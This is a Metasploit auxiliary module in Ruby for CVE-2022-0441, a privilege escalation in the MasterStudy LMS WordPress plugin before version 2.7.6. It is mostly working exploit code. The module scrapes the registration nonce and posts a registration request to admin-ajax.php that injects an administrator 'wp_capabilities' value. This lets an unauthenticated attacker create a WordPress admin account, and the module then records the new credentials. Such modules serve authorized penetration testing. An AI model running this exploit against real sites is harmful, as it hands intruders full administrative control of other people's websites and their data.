MasterStudy LMS, a WordPress plugin, prior to 2.7.6 is affected by a privilege escalation where an unauthenticated user is able to create an administrator account for wordpress itself.
278defc13ab82ac5e7aef75ef7a23960a66a3d65cd95657499f6fbfcae4bcf38
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress MasterStudy Admin Account Creation',
'Description' => %q{
MasterStudy LMS, a WordPress plugin,
prior to 2.7.6 is affected by a privilege escalation where an unauthenticated
user is able to create an administrator account for wordpress itself.
},
'Author' => [
'h00die', # msf module
'Numan Türle', # edb
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-0441'],
['URL', 'https://gist.github.com/numanturle/4762b497d3b56f1a399ea69aa02522a6'],
['EDB', '50752'],
['WPVDB', '173c2efe-ee9c-4539-852f-c242b4f728ed']
],
'DisclosureDate' => '2022-02-18',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('USERNAME', [false, 'Username to register (blank will auto generate)', '']),
OptString.new('PASSWORD', [false, 'Password (blank will auto generate)', '']),
OptString.new('EMAIL', [false, 'Email to register (blank will auto generate)', ''])
]
)
end
def check
unless wordpress_and_online?
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
end
checkcode = check_plugin_version_from_readme('masterstudy-lms-learning-management-system', '2.7.6')
if checkcode == Msf::Exploit::CheckCode::Safe
return Msf::Exploit::CheckCode::Safe('MasterStudy LMS version not vulnerable')
end
checkcode
end
def get_username
datastore['USERNAME'].blank? ? Faker::Internet.username : datastore['USERNAME']
end
def get_password
datastore['PASSWORD'].blank? ? Rex::Text.rand_password : datastore['PASSWORD']
end
def get_email
datastore['EMAIL'].blank? ? Faker::Internet.email : datastore['EMAIL']
end
def run
username = get_username
password = get_password
email = get_email
res = send_request_cgi('uri' => normalize_uri(target_uri.path))
fail_with(Failure::Unreachable, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, 'Request failed to return a successful response') unless res.code == 200
/"stm_lms_register":"(?<nonce>\w{10})"/ =~ res.body
fail_with(Failure::UnexpectedReply, 'Unabled to retrieve MasterStudy Nonce from page') if nonce.nil?
print_status("Attempting with username: #{username} password: #{password} email: #{email}")
json_post_data = JSON.pretty_generate({
'user_login' => username,
'user_email' => email,
'user_password' => password,
'user_password_re' => password,
'become_instructor' => '',
'privacy_policy' => true,
'degree' => '',
'expertize' => '',
'auditory' => '',
'additional' => [],
'additional_instructors' => [],
'profile_default_fields_for_register' => {
'wp_capabilities' => {
'value' => { 'administrator' => 1 }
}
}
})
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'ctype' => 'application/json',
'vars_get' => {
'action' => 'stm_lms_register',
'nonce' => nonce
},
'data' => json_post_data
)
fail_with(Failure::Unreachable, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200
results = res.get_json_document
if results['status'] == 'success'
print_good('Account Created Successfully')
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: username,
private_type: :password,
private_data: password,
service_name: 'Wordpress',
address: datastore['RHOST'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
else
print_error("Account Creation Failed: #{results['message']}")
end
end
end